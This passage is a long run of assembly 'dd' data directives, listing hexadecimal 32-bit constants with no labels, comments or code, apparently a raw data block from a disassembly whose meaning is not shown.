dd 0DB6743DFh, 13E85A6h, 0DDB48700h, 0D9202352h, 0E9899E70h
dd 2F985CF6h, 8230B555h, 3CC4BEADh, 91A053F7h, 8153072Eh
dd 2811A2E7h, 8DF95F35h, 45507863h, 45B88119h, 0A1B2EA4Ah
dd 2510B458h, 4C2120Bh, 0AD95E802h, 0C7C02432h, 0BB171F00h
dd 13C8EDCAh, 553D064h, 0EA9F801Ah, 1188A3B6h, 0CD081AA1h
dd 0BD0BC09Eh, 2F992771h, 0F11819F1h, 0B815EE06h, 0B0A4FF46h
dd 0D0B55F7Ch, 0EEDF8106h, 58A4CF00h, 11858D61h, 9EAC7D13h
dd 6500DC61h, 72B1646Fh, 9790F5BDh, 41503B87h, 0E7FD71BFh
dd 81FE62A0h, 0CE6E4B62h
dd 0E8B51212h, 99479080h, 18A5412Ah, 0DE9BE009h, 3340599Dh
dd 0AE905E61h, 3FA62157h, 0AB600B73h, 0D6F15078h, 0ECEE5600h
dd 773A5Dh, 1ADD752Eh, 0AED07A3h, 53FDA900h, 6697D4D1h
dd 0B1B30BBAh, 0BC4D905Fh, 3A94A7C0h, 1EB101D8h, 0FCE8BE6h
dd 7B287288h, 79FF9A2Eh, 93B1A10h, 692E7D11h, 8277B751h
dd 0AAB1AC3Bh, 54F97141h, 8387A8BEh, 989A46EDh, 0E77D1Fh
dd 63F8677Eh, 1179A884h, 87D4F64h, 1999A181h, 0D494A06h
dd 3E9B4A1Ah, 253CB280h, 8E5E0FD4h, 2095B8C8h, 9CA114C5h
dd 466FE01h, 0C865D845h, 0C01BA87Eh, 0D05DA9BAh, 0FE1EC01Ch
dd 4352D668h, 6056D41Ch, 46076152h, 5F509AD2h, 12240481h
dd 0A85754FCh, 8DABD73Fh, 4454CC33h, 4EDAB000h, 45873DAEh
dd 0ADEE0219h, 28DB509h, 95642ED2h, 62F860A9h, 0F63B3380h
dd 0BF03E2ACh, 75BA8D1Ah, 0EB67FBC1h, 384A196h, 0DFBF6841h
dd 2E71C424h, 0F491AB69h, 411A929Fh, 8F513988h, 4760D0FFh
dd 0C12E27E2h, 1D9C49h, 5ACC8A51h, 0B83C1058h, 8467DE4Eh
dd 0FD83FAD2h, 0D10624CBh, 56160A98h, 61091CE5h, 8909C091h
dd 7EC39195h, 3EA1B5B1h, 0D4EE1B11h, 8C1AE830h, 0D5164D01h
dd 0EB700C6Ah, 0B6C8B240h, 91E84ECFh, 0F0B5E2A1h, 0AF91508Ah
dd 0FBBA5318h, 0B9C0F359h, 0A44714DEh, 15533510h, 0C1230A00h
dd 58C0FCADh, 0EE53A400h, 0AF283C87h, 805606B9h, 0A691D4CBh
dd 2D798512h, 2D291628h, 0EA080D9Dh, 44D352FDh, 0A0413A51h
dd 31000AC9h, 5DD0D19Dh, 0C18468FFh, 0E57E054Bh, 53AD738Ch
dd 0DF34CD28h, 0C004DB57h, 6A98A556h, 88AF1A31h, 3A646C51h
dd 29EB5956h, 8A80A656h, 826296A2h, 0E05E0ECAh, 0AA20D1E6h
dd 973A998h, 2952F60Bh, 0F67D6444h, 35AB009Bh, 1CD7A5EFh
dd 0F813E168h, 44C89E66h, 457C0061h, 71097460h, 0E300C214h
dd 3481C3C4h, 495D824h, 0BD234A79h, 5F40BCF1h, 389540EAh
dd 8AEB3D1h, 7A003573h, 681188B1h, 34958B05h, 60D3254Dh
dd 39BD01E8h, 9812242h, 7E2FB99Dh, 9A9388B8h, 92648F7Bh
dd 0D78D970Ah, 0D75154A8h, 0E3E009ECh, 221429F1h, 606C85A0h
dd 728737FCh, 54F920B5h, 6D0129EDh, 4AA5783Bh, 9D304989h
dd 686102C1h, 0C6AE464Dh, 2240817Eh, 0E752780h, 0F52F6BACh
dd 4414C320h, 5A09E5F0h, 0A1EF7132h, 572A36ABh, 0DC745EFAh
dd 5F6FE601h, 706EF0E7h, 0EECA9297h, 6E6A0489h, 365B0053h
dd 0A7153756h, 964B5021h, 0B91E4081h, 0F865541Fh, 5D92D7AFh
dd 5834D3FFh, 4E318720h, 1DA16011h, 0B920FA49h, 0D4305225h
dd 0E040505Eh, 0A8C8FD2Ch, 43A54F2Dh, 1319BD1Fh, 3ACC89E4h
dd 0F2DB4456h, 0F8179D85h, 0C64F80E8h, 2C5D4E1Bh, 398C9894h
dd 0C51AECA4h, 0B8B6FD49h, 43DA004Fh, 846895A2h, 8E49EF64h
dd 4D6D00B8h, 526002FAh, 259D1289h, 0B2A2571Ch, 906E2D21h
dd 0FCF5B8Bh, 42F5EA27h, 0D173F140h, 8B1B0874h, 81318F0Fh
dd 0F26615Eh, 2CE2F82Bh, 1B911A58h, 0C1CDC309h, 0EA8CA1C5h
dd 9BB40002h, 1AE6CBFAh, 2202305Eh, 0A36F3A25h, 0DBE788CAh
dd 0B4B7D5AFh, 2E301A00h, 128DAD98h, 8DDAD783h, 0CBAA3110h
dd 0A502DEAh, 0DF046A28h, 68744A00h, 0DB0326E8h, 0C52549B5h
dd 0FCE9180Eh, 0E117A693h, 206A19ACh, 14C91751h, 0C6D41A00h
dd 0F8827802h, 0F0813A74h, 447E7202h, 8E5DE542h, 0AA6B1017h
dd 23684148h, 42EE5917h, 6709C515h, 519BEF12h, 267403F5h
dd 67C00F60h, 7E7297A6h, 5A8B861Bh, 0F95010C2h, 95FF050Bh
dd 8FAD27C9h, 0DC3126E8h, 2E05549Fh, 928C622h, 296D97DFh
dd 4DA328E0h, 0C184A291h, 8C3D1779h, 9590137h, 0B6B157C6h
dd 0EF05CFACh, 4FCDBA4Fh, 0BFA02A8h, 8A2740B9h, 56B21B02h
dd 0EA9156E4h, 78727A80h, 0B93292h, 0E2CE9973h, 0E6A1A659h
dd 2D9964B8h, 66525000h, 26A5A8B9h, 60EF310Fh, 57DC569h
dd 7BEE7F00h, 8509304Bh, 3DC7A74h, 2CB156B8h, 678F585Ah
dd 860F52FCh, 90C296DCh, 0B9907757h, 920021FCh, 540C0EC1h
dd 2C3556h, 468F23D8h, 8B68CB94h, 5A59FA13h, 0E2EC1283h
dd 63375790h, 0CBB84000h, 2C95E1ACh, 89357F2h, 5A1806C9h
dd 2FC4F65Eh, 91770B6Ah, 40C229D5h, 26ECF54Fh, 131C9752h
dd 0A6C513D6h, 0DC79F3AFh, 84D1F4C3h, 0DF077A18h, 7CEEE2DAh
dd 0D58A0962h, 0B5AA5F0Bh, 641293Bh, 85E0B58Dh, 8A50F904h
dd 968589D4h, 87E035E6h, 504B9C70h, 4495F520h, 9DF00D3h
dd 0AF4DA9BAh, 5706E294h, 9EF62DF5h, 0DC68B4A5h, 3F3E457Eh
dd 0B19E8F1Eh, 0C1DC3964h, 956B497Bh, 0A7C414Ah, 5E9A02DCh
dd 0B6E4D4B0h, 0FA410CE2h, 17F03295h, 0CCEAC00Bh, 5D208DB6h
dd 0D3E9241Fh, 9D3182BEh, 9CC0FB5h, 14C4AC85h, 0B5314F60h
dd 8B7B6567h, 0F91C9269h, 0FD9E0021h, 31D66E2h, 0B8E4F600h
dd 5596AF9Fh, 2046258Dh, 0FA00D551h, 19B0D9C2h, 158C220Fh
dd 8F3AE858h, 43E3801Dh, 9BA1F5h, 11A84CD1h, 0C02A3E08h
dd 2B8F5F4Ch, 3B78DA04h, 0D11F00B1h, 6BFD3188h, 81490F1Eh
dd 2BCB8FEDh, 20A24682h, 11B72115h, 160E883Ch, 0DCA461F1h
dd 51F82EBFh, 34BC6041h, 5BF6EF52h, 0F9059F8h, 192F9D99h
dd 0EC51FC52h, 0B6102C84h, 0EB25E989h, 0EAED5505h, 0CCC23E0h
dd 20D790B2h, 80182275h, 84C2207Eh, 895FC2BCh, 0E586DB5h
dd 0A5F6604Eh, 0BABB0E7h, 4504839Bh, 824DFA0Dh, 1DE551C1h
dd 8B074B05h, 56051FA4h, 120376E0h, 3282E915h, 0BEA4FD69h
dd 0E123B640h, 68847FE5h, 2A83135h, 69B3DBBFh, 0AFC64DC3h
dd 0E4BA82D9h, 8131E87Eh, 1C40EE1h, 0F425090h, 0D9B2FBBFh
dd 1102374h, 441D8D50h, 0FEE4D82Bh, 952F5875h, 0C240E8EDh
dd 8F9416CDh, 8467F05Ah, 28881045h, 0B9002649h, 46862FBAh
dd 8BF359E9h, 82388012h, 4C5E7B88h, 1D21372Dh, 0B05300D4h
dd 2BB60933h, 0B90052EAh, 7CB2DC69h, 0A91CE959h, 0D6523D49h
dd 40385E48h, 5A55F176h, 12AB4205h, 50D28DA4h, 3B8A0F1Fh
dd 12A16AE7h, 0FBAA331Dh, 665CC82Dh, 2F12CCA8h, 418AC9DAh
dd 0BF40D772h, 5BA143DAh, 8031DB40h, 0FF54839Ch, 15D70534h
dd 0C0AB2C7h, 0E9B2CAE2h, 0BD83DDC2h, 839590Dh, 77AF8A84h
dd 0E9B753A0h, 0FC0A8F39h, 8EC7362Ah, 932DD08h, 5A989059h
dd 0A0007A07h, 6653DC3Ah, 1D8EE32Ch, 8A38FDECh, 188360CDh
dd 61D006FEh, 0BA0103B8h, 25094F69h, 2E6C0390h, 0B5704594h
dd 8D9C882h, 0D130600Bh, 4EF3B650h, 0B7B32800h, 0D902BA99h
dd 0CEE215F8h, 0DC2F7490h, 0E6E9762Dh, 0CF58025Fh, 0AA55413Ah
dd 30C41B62h, 0A88490A2h, 0B69042E5h, 0B9CCA5h, 22589EADh
dd 0AA4B25BDh, 2F8A1A00h, 0E39123DAh, 0DB904E5Dh, 6D1B80B4h
dd 131CBE60h, 0C20A5779h, 90756108h, 4F0E62h, 2FD68162h
dd 0EAE280F6h, 9285948h, 9F928CAh, 0E45747E1h, 715A6016h
dd 80ABB987h, 7D810C0h, 0D613C408h, 1100FB4h, 7671C086h
dd 0EA306304h, 3D34001Dh, 6D0AC9C5h, 1CB0B7DEh, 1786B904h
dd 0DC82F36h, 1E668A33h, 0F8A76C9Dh, 0DE025EE5h, 0CC498085h
dd 1864E5D2h, 1AC610B7h, 914F9D01h, 40D914h, 958027Ah
dd 0AA33A1BDh, 8D51F4h, 0CE15AC5Fh, 4D38D8A6h, 0F5A00E8h
dd 1F3816E6h, 0DF112DEh, 877101EEh, 203A1AC5h, 0D92CB960h
dd 83169FCEh, 1AADAF61h, 0C1EBC404h, 140C80C7h, 0B0D2DCF8h
dd 8DC43080h, 0D4E12E8h
dd 0DB7146A0h, 2D002B69h, 5497CCDCh, 12F823B3h, 304349AFh
dd 16CA4E8h, 0EAB76E04h, 74E27225h, 84802E3Bh, 0F4CBE059h
dd 0A10FB185h, 64E23BFFh, 0D9855A49h, 8A90DE0Dh, 2995856Ch
dd 0A08BA6D3h, 72E59928h, 0EA8A25F9h, 308DF46h, 280C758Dh
dd 1775982Bh, 0E21F39B5h, 5684168Bh, 30B0FEB7h, 83390A3Fh
dd 66C09E6Ah, 9531BF44h, 2D666186h, 9572B501h, 4EF1A9F4h
dd 0C2158836h, 0C3610B45h, 0F8A542D7h, 676DBCCAh, 1441EBE0h
dd 0EFD04D2h, 0D47824B0h, 288DE190h, 689B5B6Ah, 0CA1BC282h
dd 53E2EC89h, 0A4193755h, 0BD2941C8h, 80DA5495h, 6924D945h
dd 0CB91DE94h, 602A6026h, 0BB6C3601h, 0AA260E04h, 538C1297h
dd 67CB00E1h, 0E578FB3Fh, 0BF003652h, 3ECA620Eh, 0B75061F4h
dd 0B5A33A46h, 0F6594F84h, 178025DBh, 0C0A4A792h, 637F7013h
dd 854EF8Dh, 0BC13BDAAh, 0B4E03A1h, 8E74BFBCh, 9280169Ah
dd 8BDFD8D2h, 5C4966B4h, 1A0C105Dh, 0B74765E9h, 0E30E801Eh
dd 151D1870h, 214CF576h, 299FC0B5h, 48032Fh, 8161BB6Bh
dd 0B1F947F7h, 0C6305B76h, 0E9FCF31Ch, 0E3FFF891h, 1B81C7Dh
dd 9B418800h, 688BFFB1h, 66DB175Bh, 0E4E78871h, 7A0033F8h
dd 13990E44h, 44F6A694h, 90E35B61h, 809EE830h, 272987D1h
dd 160FBA94h, 1712EE64h, 0E395A04h, 822CC413h, 0C57C9DBBh
dd 29E9928h, 2E37A5h, 64F7E94Dh, 1348DD80h, 28AD139Dh
dd 36807B9Eh, 2CA5E262h, 10C1A85Eh, 24058B64h, 0B857BD3Bh
dd 95AF0134h, 54DBF690h, 5A7460D7h, 0BF04727Eh, 2347C5A5h
dd 76BD4AD5h, 3C005CB8h, 7AD82DAFh, 12730CBBh, 0F1595302h
dd 805D1E36h, 0ECF99A6Ah, 0F32C00D6h, 95336070h, 0E49721F5h
dd 731545E5h, 0ECCF004Ah, 3094F54Ch, 21740058h, 16970E9Ah
dd 0FEBE103Fh, 0F229C840h, 12200F4h, 37200F44h, 1958812Fh
dd 51DC0EDBh, 3E8D3259h, 0A9E8EFEDh, 994B0062h, 0FEE49C76h
dd 0EA258090h, 0A078E6A7h, 8132313Fh, 89B62C50h, 8EE7C3Eh
dd 94242D75h, 27FF7225h, 0C17BC08Bh, 0FB2A7071h, 69BDCB24h
dd 648DE7E8h, 958970E6h, 7C6A8AB1h, 5F082740h, 746F6034h
dd 816EEAh, 0B51A5711h, 0BAE810Ah, 58F78ACEh, 92BB7737h
dd 210B723Ah, 26B25189h, 0C20C31AEh, 7E60C108h, 94A24120h
dd 40A925F7h, 0FF004D64h, 0D913ACDDh, 695EE187h, 0C884DC61h
dd 410582CEh, 0CF03F171h, 0DE894BEBh, 0BA64CE54h, 0F00E1003h
dd 5376EAFBh, 14C28314h, 41A138A1h, 509CFFE7h, 50264065h
dd 6B7676BFh, 506046F7h, 325805E8h, 0F01AC22Bh, 388593D6h
dd 37AB5A4Dh, 50B760EAh, 0D01D033Ch, 459A3A81h, 5DF2FD19h
dd 0AAC2D6Ch, 4CD969E9h, 0D0C8DE06h, 1B31D520h, 4F3C4003h
dd 7520C2BEh, 0F58B790Eh, 26051288h, 5BF8363Ah, 30C181Ch
dd 0D8120D1h, 8D84DDEh, 82164112h, 4BDBD9FFh, 8B51CC90h
dd 100A1D90h, 14B0A981h, 3359B530h, 0BEC35FC0h, 2924CC72h
dd 68014273h, 0D49AA7D2h, 0A8FA342Bh, 2894D6F4h, 647DB8ADh
dd 0A2D3EB2Dh, 0A27000D1h, 45E97BB4h, 3C2D000Bh, 9A71578Eh
dd 8209443Eh, 6460FDCCh, 0A04B009Ah, 422F62A5h, 0DC0020EEh
dd 1CF71171h, 0BF48C64h, 596192B7h, 2198DB18h, 0DF385600h
dd 0C181BA04h, 8971556Dh, 0D0B6372Fh, 0C1494FF2h, 87A25FF6h
dd 0FF70015Dh, 0DA410834h, 77235EDBh, 8F66007Bh, 0F6818D63h
dd 0D61DC6ABh, 80FAFC7Bh, 67D91E44h, 6028B351h, 9C19225Ah
dd 4BC37CC7h, 0E0013489h, 0BCA9BF3h, 8A602D0Ah, 0E883D383h
dd 0CC38BAE8h, 4807C118h, 1381F902h, 0C18F40F8h, 3DB08586h
dd 4282248Ch, 0DCE6F54Bh, 0B21CBB00h, 0E56319Eh, 3ED33A70h
dd 380F6EBEh, 1320536Fh, 5F5877DCh, 1EE39600h, 0BE2C0464h
dd 0E5510010h, 0B7F2A5F8h, 690D404Ch, 0DE93C5FDh, 67DA9C8Eh
dd 5B5677A3h, 826F5803h, 0CBC68A1h, 72A77038h, 0F30FF668h
dd 401731CDh, 0DF135634h, 603E00DEh, 0EC106F2Dh, 0C71691CBh
dd 8C027016h, 9E77AE78h, 0E8042320h, 0C44DCF04h, 3985486h
dd 19F941B8h, 71CF2FA5h, 807D576Fh, 0FD645EF1h, 0C14E7C2h
dd 7CFF6ADCh, 21C01608h, 86FD6DB3h, 0B73030Dh, 207906CDh
dd 0BE307EE0h, 0E844F230h, 60EDC38Ch, 0C893B0C4h, 0BB037E76h
dd 90A36F02h, 3B30783Dh, 653DC1D8h, 0BF52D30Fh, 0D708AB2Ch
dd 7F206E60h, 1203DBAh, 0C17DAE1Bh, 0C8B426A5h, 0FF1EC8F6h
dd 7F4595F2h, 0B85D3FCCh, 0C4331ACAh, 423DE782h, 0AC780C82h
dd 3BC47F8Ch, 3046A36Eh, 0BD7A2121h, 691EA3Dh, 0E8934B5Ah
dd 2485C068h, 60A8D2C7h, 441B2DC1h, 19AEE505h, 0A400AC07h
dd 4597CC7Eh, 70E887h, 0BED49430h, 7125F66Dh, 411AB502h
dd 8243374Ch, 63CEACh, 806C7ED5h, 386080E5h, 1787AB8Fh
dd 9E9A5CF6h, 8B2EE19h, 0AA21807Ah, 7F7B87A3h, 2A3F7E90h
dd 81E48457h, 631868FCh, 0E7C7FD08h, 406BC47Ch, 16FD68BEh
dd 0A95B3D04h, 0EA823480h, 2C911D10h, 0E99B88A8h, 0AE2B0FEh
dd 4D7B2400h, 76D79FABh, 23DD005Dh, 0DAA53E9Bh, 7F28EAA3h
dd 40A7D4B5h, 0A2601544h, 2500EA74h, 0AD678A78h, 0A8BAF270h
dd 0F657B0ACh, 0AB98A34Eh, 619180Ch, 292A21BFh, 0EE327300h
dd 33A2BC42h, 9039399Ah, 4A12E906h, 0DF21A062h, 896A11ACh
dd 0E7F20261h, 1450916Ch, 0FD76BC10h, 9DF7D300h, 4E597E93h
dd 70103480h, 6DE00820h, 1687A8C0h, 228246F6h, 0A0A9017Bh
dd 0E5C99187h, 43989096h, 48C62FCh, 1FCDE501h, 808C816Eh
dd 6A4C52CCh, 1187A930h, 888AF669h, 0A1A88085h, 1B9ED987h
dd 58457501h, 65A51D70h, 40B6BC20h, 6709616Ah, 19C890A8h
dd 0C018A0A0h, 0DBB842EDh, 0D345A04Ch, 3DB9C8h, 5AFCAB0h
dd 6C5694F2h, 82A3D1C0h, 0E14DB55h, 0AAB8ADCFh, 9B233A0h
dd 0E97C0C4Bh, 0BF988550h, 6E23B542h, 0C1FD6501h, 3D0E0CE7h
dd 3EFD10B0h, 1379A711h, 0B8217334h, 7030C235h, 0B0BDF011h
dd 5B30A8F7h, 542C1D12h, 728BCF30h, 0AD087FECh, 6A7921C2h
dd 6754C02Ch, 0BDDC3457h, 0A9C0418h, 5A49008Fh, 3223F5h
dd 0DE89FFC9h, 3E35061Fh, 0BE702383h, 572C1301h, 0A1186730h
dd 6B7888h, 703AC52Ch, 358BF60h, 3BC9C0C2h, 0A7911D17h
dd 5B0D9480h, 930E1D84h, 8551B55Dh, 0DC1069F4h, 0AA0B10BCh
dd 60C06B88h, 46E7C6FDh, 0BF897574h, 0F400A261h, 3104A91h
dd 8413D9BDh, 7892CDE7h, 5468C4A4h, 169235Ch, 0F6128654h
dd 887918A2h, 8703ACADh, 0C3F88C23h, 57B1F947h, 586FB088h
dd 0F7C5E703h, 3C691075h, 8C7BF872h, 0C3964704h, 1480CD95h
dd 0E9ED3968h, 20F8E9A0h, 131F825Ah, 29D4FBF4h, 10F848C8h
dd 7688447Eh, 158655C0h, 70AA52F6h, 87ADAC80h, 0D3041F8Fh
dd 5A4EBF49h, 0BC9884D1h, 762E3C41h, 0FF261E00h, 67099CB0h
dd 113C6506h, 6918B830h, 31A92C08h, 40A4C437h, 3D2C617Ah
dd 6EEC66h, 31EB34FEh, 0F41EA135h, 0BE142676h, 23684376h
dd 86570168h, 18BAF613h, 0AFAE8887h, 271C07ECh, 6C421098h
dd 8ED125CBh, 0A83BB3A8h, 0F8008323h, 1BEB736Bh, 0B47700E8h
dd 88C9C8DEh, 0FB587004h, 56308724h, 91F6914h, 6084E0C0h
dd 0C2C67ADh, 60C34DA3h, 7D80D588h, 0E46A3DBCh, 0EA9F03DEh
dd 1A3FA579h, 312028E8h, 4C987548h, 8C79F80Ch, 45181F01h
dd 65BA4E30h, 3DF4A885h, 0B9C88890h, 1E03ED00h, 0D49F8FC4h
dd 0A4570041h, 0DDAD5A82h
dd 0D04A2D3h, 0F13926E0h, 10E54C88h, 295BA35h, 15EB9616h
dd 0F8B881D5h, 88666B80h, 1B6E67F0h, 2C316300h, 28EE1EA3h
dd 65DB0002h, 0F49A8B90h, 0C66755C3h, 6AAE5E68h, 0B243C4E5h
dd 5CD178A0h, 49DFA0BFh, 0D380A67Ch, 1658D252h, 57713C00h
dd 144853C1h, 619A035Ch, 8AD73064h, 48CB877h, 0E7C0FD62h
dd 3BB13804h, 3280FD6Bh, 2C43057Fh, 0F225A42Dh, 93007A7h
dd 4A48A687h, 2E7A5C0Ch, 3609018Ch, 12763055h, 0F2E04045h
dd 254C89E3h, 0A2C453CCh, 358230A7h, 0ADF69F00h, 7363D245h
dd 0F339181Bh, 3103D97Fh, 3A2AE25h, 0B8E7CE28h, 4D7F1AA5h
dd 60B805Dh, 0B410573Ch, 0C500C62Bh, 1894BD72h, 0CA85FAh
dd 0C18CDA0Fh, 0FC0B0ECDh, 27F23D24h, 34574030h, 502A30AEh
dd 0F327EE60h, 6F6C2E1Dh, 6006A6C9h, 0C814F6B0h, 10C0BFE0h
dd 5830562Ch, 7BE09C7Fh, 8D062C68h, 785603F8h, 7121E7A1h
dd 0FA240C40h, 4D8003DFh, 0A88701E4h, 265E30F0h, 0D9C04C35h
dd 7A23B43Ah, 7962853Ah, 0E0413133h, 5C5F19C3h, 1D90F092h
dd 35E6819Fh, 844FC6AEh, 0D291FBE1h, 0D5306880h, 8C1007EDh
dd 80473A17h, 0C2796B7Dh, 0CBF48804h, 0DCB0234Dh, 7FB626AEh
dd 84467CFCh, 40B3731Fh, 35154ADBh, 0FA153B9Dh, 3CECB0BFh
dd 46F224AEh, 34A1F421h, 9C188771h, 64F13109h, 59580734h
dd 60B944C8h, 23A82C16h, 0A0110F31h, 2C6E7D03h, 0FF1806h
dd 85A3DD98h, 143A99D3h, 0F9007823h, 0A70D3F84h, 53B330FAh
dd 0D5310AE8h, 0F7FCD452h, 0FD09C078h, 0A8073369h, 0B8114F20h
dd 0EB44820Bh, 0F68F0180h, 0F2E620BCh, 70B2DB30h, 4E3E2DFBh
dd 233C3B9Fh, 543C002Eh, 0AC25C915h, 3FBAC804h, 9C8C82A6h
dd 0AAD09569h, 93DBCD18h, 4AADA368h, 230C2F72h, 0F3D300A0h
dd 0C0D90EFBh, 0BEF79CA0h, 10CBC8D2h, 7CCA60C8h, 2C1C5B17h
dd 64E84514h, 6E606D48h, 0E723C4FDh, 16611164h, 280277BDh
dd 9012A114h, 40031AB0h, 3F0590B0h, 0B80D5689h, 0FCD68D0h
dd 50B8A49Ch, 0A278E367h, 0EEFCE508h, 80928FB1h, 0EC95B813h
dd 0AC6504E4h, 0F062345Dh, 2114C3A0h, 90945127h, 0F5D7E8F4h
dd 0B300200Ch, 0EA6018B5h, 5827DCA6h, 0D112844Eh, 0D52CD2DFh
dd 89C15C4Dh, 62FC1CA4h, 3DF802C5h, 0B6066D4Ch, 0A6E8FCA3h
dd 0B78229D0h, 0AB65ED00h, 16090D37h, 334101E5h, 7C0E054h
dd 6B3180B5h, 148E9865h, 0D42F00C7h, 4D9E3EFFh, 22163B43h
dd 88214B17h, 0AE086DBAh, 60D8F78Ch, 22AB46A3h, 3787A2Ch
dd 0E9C3A13Dh, 5078BA43h, 0FAAFB109h, 0F57C0059h, 49381E33h
dd 158570BCh, 17A0822Ch, 0A344704Ch, 2C6D0006h, 8528B6C9h
dd 49041AD6h, 0FB3F32C7h, 0FC0B0DBh, 51B97919h, 0E374FB01h
dd 0AA6F1AA3h, 0EDF8FC69h, 46513942h, 8FDFC3Ch, 0E8461B20h
dd 5206E4Ah, 6BE321A4h, 0B4A06D84h, 2DC9026Fh, 63BAC7BCh
dd 0DAEC784Dh, 2C4F3BFEh, 0B7EF1C81h, 0CBCBF5C4h, 0FB3EC100h
dd 0CC3DF3F2h, 0D980B916h, 6518ACh, 35F41E9Eh, 0E7834D68h
dd 0D4DCBC16h, 8423282Fh, 0F49A4400h, 28C8DF5h, 0EAA3ECF6h
dd 0FC4446C7h, 0A7F9CB09h, 0E504B248h, 6ED26204h, 0EF7418h
dd 6DC12C47h, 33C39012h, 0C5E79404h, 288097CBh, 2754EAA7h
dd 0FCB7444Fh, 0F880E29Ch, 25E5B83Fh, 589D62C2h, 8CD1BF69h
dd 0EF81171Fh, 7B843D80h, 1B4D25FCh, 21A906A7h, 107C6800h
dd 0EEDBB376h, 0CC160063h, 7724462Ch, 152956ADh, 15ADB8C0h
dd 80829154h, 8C79A055h, 48B83FEFh, 0E704B639h, 0C88FA22Dh
dd 3171792Ch, 4BC0828Ah, 8FE503B0h, 0A7902043h, 5BD9C158h
dd 8268F4C0h, 0DF0C2FFCh, 693E3A79h, 25EE031Eh, 0E360390Fh
dd 0CBD0D5ECh, 0CEA1C860h, 0E95DFE60h, 0C02C6979h, 830ABBCEh
dd 0C68E8477h, 4AD62003h, 1D9495Eh, 0A763ACCDh, 233489F2h
dd 3063E200h, 0B337C6BEh, 60C1D1A7h, 0A448912Fh, 0F4E30078h
dd 97E28BD2h, 22677C7h, 6E015C4Dh, 6F103C79h, 0D5ECE078h
dd 0E985078Ch, 90DA435Ch, 0B43E6B8Eh, 21EB960Ah, 3A82A4C4h
dd 50ADCBF4h, 0A42B1624h, 39200847h, 0E6057CBFh, 0A886EE33h
dd 0B344F0C0h, 0F8C70AADh, 8F6CB275h, 0A3A6EEC0h, 0C971116Bh
dd 0DCEBDB28h, 3D6A520h, 372491Dh, 28A65991h, 0C2208050h
dd 1C95FF05h, 0E0CEDA9Bh, 0C050D0CFh, 77B7C547h, 0FAA309BCh
dd 10895E2Fh, 17E44065h, 0D7BEE060h, 9A1C990Ah, 0B2408891h
dd 3AF48Bh, 0C653EA0Bh, 959FD19h, 0C5F75500h, 8891BE35h
dd 0C93E1EDFh, 78D280FFh, 0F47568EEh, 0F01F9902h, 8F3579FEh
dd 92C4A16Ch, 0C986CF83h, 89715638h, 0F498E00h, 76AB3B79h
dd 7AA61C24h, 319285BCh, 2F1817DEh, 8523D8h, 39806EDh
dd 0C3F428ABh, 36A7F309h, 2DB80763h, 0D160FC53h, 0B46CCD89h
dd 78CA4ECh, 4A308E49h, 71C32EACh, 600EFE9Ch, 6EAD7FD5h
dd 342FF609h, 0EF00A023h, 0E85EC1FFh, 0C0837BDDh, 0FE8F88D9h
dd 8C002C85h, 6E1553FBh, 0F4EAB9h, 6791306Fh, 95A7CD09h
dd 0A1126899h, 0B0C73063h, 8CE3A363h, 71D444h, 91A43DB8h
dd 685F6648h, 0F809287Ah, 218BFA89h, 3BA50734h, 38CB5089h
dd 2235AC02h, 6DA3B201h, 2E18A980h, 1263089Ah, 2A50906h
dd 7E40BF9Bh, 0EC39124Ah, 35B09034h, 0E08393B2h, 99CE2619h
dd 888268Ch, 0E507B427h, 0B726C3F9h, 2C377811h, 8646B80h
dd 1E008323h, 57471C58h, 5868FBB6h, 4079CB12h, 6EE05ECCh
dd 889C15EBh, 8DEABD3Fh, 7183EEC1h, 0D3F3D093h, 34C91D90h
dd 22609F97h, 876089E7h, 0C9F03174h, 62FBDE1h, 0F1C36B7Eh
dd 0A90399CBh, 754641B3h, 65E810EBh, 0CC4704BBh, 83059E73h
dd 0FB3803E4h, 0A014C859h, 81F4A6B2h, 209036CFh, 456B9980h
dd 7081FEC3h, 10054B01h, 3B99FDCEh, 926DF2E0h, 0BF480C1Ch
dd 0ECF814B2h, 852C40E7h, 0CA887C83h, 0E7B23F71h, 0FE988800h
dd 27643069h, 979F943Ah, 0A10248DAh, 0EA9BEA23h, 8A90603Ch
dd 7BB9C874h, 39801B80h, 0EC185C1Dh, 9D4D0140h, 564C0E0Ah
dd 81D3CBC8h, 0FB965B80h, 0A83E7D28h, 0BBA99060h, 2C2B1AA7h
dd 763845CEh, 7001546h, 4CFE1B1Ah, 5104A746h, 13CF5C9h
dd 38E614C5h, 1B3AFE0h, 0A627D201h, 8262E232h, 95159EE8h
dd 46BD8C9Dh, 2DC1F902h, 1840AF61h, 0BE5B73E0h, 9C2F8417h
dd 0D0008223h, 9781DB92h, 0B9F459h, 0CA792430h, 841FEC93h
dd 3300497Bh, 0FFC8DA10h, 6F5B3FBh, 6A6310Ah, 2765C87Bh
dd 9CF26F51h, 0D93014F2h, 6A9E0D3h, 837A48D0h, 0F005175h
dd 0D8C50429h, 9450E78h, 0EA5E6ABAh, 7911DC9Dh, 0C10B4480h
dd 525E563Fh, 6658901Dh, 0C25F89h, 0BE9076BDh, 57DBC0ACh
dd 0F83EFA28h, 7ECE800h, 0E55B0FBCh, 0EE5B25h, 29F41EA0h
dd 8A314E31h, 0E6725068h, 20384035h, 8C6BBCh, 1AC19D84h
dd 62B1B9E4h, 0A66E2A31h, 3C3451B6h, 8EC2D6E3h, 0C0A1C8B4h
dd 0CE62247Bh, 0F228C803h, 0DE11FBEBh, 0DDF450h, 68B4C4B7h
dd 0D33F3CF4h, 8CE6373h, 0B8E9EAEBh, 7C61930h, 0BA59C0A8h
dd 6E2603CFh, 9E6C7100h, 0C7C33A46h, 5C62B0B3h, 0FE10CC8Dh
dd 796F027Ah, 86EC83Fh, 0C0D60DA0h, 0EE108049h, 0F2907F21h
dd 79D334FBh, 0F210F2E8h, 0D01630A7h, 95C08D01h, 3164749Bh
dd 0B44E56C4h, 1F600C48h, 65432298h, 0A7C0192Eh, 0D0880417h
dd 683C606Eh, 30B970Dh, 20CB22BDh, 0BCB27F4Ch, 0A7C9CC3h
dd 403CD4F4h, 203D796Ch
dd 3FAF4686h, 0A36189C5h, 80C465B3h, 513DBE7Bh, 29042810h
dd 9EDB64E5h, 0C50740A2h, 8EB57C1Ah, 0F7070540h, 2B0F9774h
dd 0C3E2BFB4h, 9875CBBh, 0E1FAC9A6h, 0D2E49445h, 0ED3C1B60h
dd 1D337A03h, 0C499FEDBh, 22814CC0h, 0C1ACA036h, 45A5806Dh
dd 9A3DE513h, 0E004FC53h, 4D02ADF7h, 2C56163Ch, 0EE58BB00h
dd 25AA1BEAh, 0F8203E79h, 526B22A5h, 68EE30C0h, 0F6CF6Ah
